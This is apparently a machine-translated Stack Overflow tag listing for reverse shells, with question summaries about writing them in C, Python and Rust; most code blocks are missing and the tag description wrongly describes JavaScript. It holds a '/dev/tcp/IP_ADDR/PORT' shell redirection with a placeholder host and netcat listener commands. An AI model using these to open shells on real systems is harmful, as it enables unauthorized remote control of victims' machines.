问题标签 [reverse-shell]
For questions regarding programming in ECMAScript (JavaScript/JS) and its various dialects/implementations (excluding ActionScript). Note JavaScript is NOT the same as Java! Please include all relevant tags on your question; e.g., [node.js], [jquery], [json], [reactjs], [angular], [ember.js], [vue.js], [typescript], [svelte], etc.
c - 使用 execve() 执行反向 shell
我需要使用execve
. 我知道如何从命令行运行它,如下所示:
我可以运行一个简单版本的/bin/sh
调用,如下所示:
我无法弄清楚如何运行命令的其余部分。我尝试将剩余的字符串分配为数组> /dev/tcp/IP_ADDR/PORT 0<&1 2>&1
中的单个元素。args
当我运行它时,它会报告Can't open >
.
我提到的反向shell命令是否可以通过execve()
?如果是这样,正确的方法是什么?谢谢。
python - 我无法在 python 中使用反向外壳(tcp ip)编码器更改目录
我试图用netcat在python(reverse tcp ip)中编写一个反向shell,但我无法使用模块os.chdir()更改目录这是我的代码:
我继续使用 netcat 监听 4444 端口:nc -lvp 4444 在这里运行我的 scrypt 是错误的:
python - 运行 TCP 反向 shell 时出错
我对 socket 很陌生,目前正在参加一个在线课程进行攻击性渗透测试。其中一课是 TCP Reverse shell。我在不同的虚拟机(使用 VirtualBox)上运行两个脚本,一个是攻击者,另一个是目标。攻击者脚本运行良好,但客户端输出错误:
我的代码:
我不知道您是否需要查看其他脚本来回答我的问题,如果需要,请告诉我。任何帮助将不胜感激,〜Spiralio。
python - 用 Python 编写的反向 shell 脚本的 Rust 等价物是什么?
Python 中的反向 shell 脚本通常如下所示:
我试图用 Rust 复制这个过程:
我只获得了到我的主机的 TCP 连接,使用 netcat ( nc -l -p 6666
) 进行监听。如果我理解正确,我需要通过套接字重定向标准输入、输出和错误,然后以某种方式 "call" /bin/sh
。
如何在 Rust 中编写这个反向 shell 脚本?
python - 从 exe 运行时 Python http 反向 shell 客户端崩溃
我对使用 python 编程相当陌生,并且能够在从解释器运行脚本时使代码正常工作。但是,当我使用 pyinstaller 创建一个无窗口的单个文件可执行文件时,当我向客户端发送一个简单的命令(例如 dir)时,它会崩溃。服务器端运行在 Kali 虚拟机上,客户端运行在 Windows 虚拟机上。
我希望有人能够看到我缺少的东西,当从 exe 运行时会导致客户端崩溃,但在解释器中可以正常工作。
服务器代码:
客户代码:
c - 在反向shell中打印当前目录
我试图在 C 中构建一个非常小的反向 shell。
连接有效,命令也被执行,但我想知道如何打印当前目录。到目前为止我的代码:
客户:
在服务器端,我只是使用 nc 工作正常。但是当前目录并没有像往常一样打印出来。前任 如果我发送“cd [...]”,则根本没有输出。
如何将当前目录发送到服务器?
谢谢你的帮助。
python - Python Socket TCP连接大小限制?
我目前正在创建一个基于 TCP 的反向 shell(客户端在远程计算机上,连接到本地服务器),它既可以发送和接收文件,也可以通过 TCP 发送 shell 命令。在我尝试从服务器向客户端发送大文件(我记得大于 1 kb)之前,这些程序在其他所有方面(例如,接收和发送命令,服务器接收文件)大部分时间都可以正常工作。当我尝试发送大文件时会发生什么,在服务器完成发送后,客户端由于某种原因崩溃。我什至看不到错误消息。我试图通过在客户端显示接收到的内容来调试它,但它似乎接收良好但立即崩溃。我将为那些想要帮助的人附上客户端代码和服务器代码。代码有点奇怪,因为我添加了一些“标志” 在我第一次调试期间。谢谢你。
服务器代码:
客户代码:
问题只是文件传输。
python-2.7 - 反向shell端口转发
我用python创建了一个反向shell,我的路由器在端口转发方面有问题。
我没有任何静态IP。
在路由器中:
协议:TCP
Lochealipaddr: 192.168.1.10
本地端口:8090
万尼帕德尔:---
万港:8090
状态:启用
在我的 python 脚本中,我无法绑定我的 wan ip 地址
ST.bind((Wanipaddr, 8090))
如果我在 localipaddr 上绑定,我的反向 shell 客户端无法连接到服务器
我的问题解决方案是什么?
谢谢
http - HTTP 反向 shell 比 TCP 反向 shell 有什么好处?
我制作了一个多客户端 TCP 反向 shell,并观看了一个课程视频,其中说 HTTP 反向 shell 更好,因为与 TCP 相比,它很难追溯到攻击者。我不明白。
我试过用谷歌搜索这个问题,但没有太多帮助。
HTTP 反向 shell 真的比 TCP 更有用吗?如何 ?
我个人认为拥有 HTTP 反向 shell 是不好的,因为 http 是无连接的,当攻击者想要与主机通信时,它不能,因为没有与它的连接,攻击者只能在请求(如 GET)来自主持人。我在这里错过了什么吗?
请解释....
python-2.7 - WindowsError:[错误 123] 文件名、目录名或卷标语法不正确
我正在制作一个简单的 Python 2.7 reverse-shell ,每次在我的 netcat 服务器中键入 cd C:\ 时,都会为目录更改功能抛出此错误“WindowsError: [Error 123] The filename, directory name, or volume label syntax is不正确:'C:\\n'" 这是我的代码。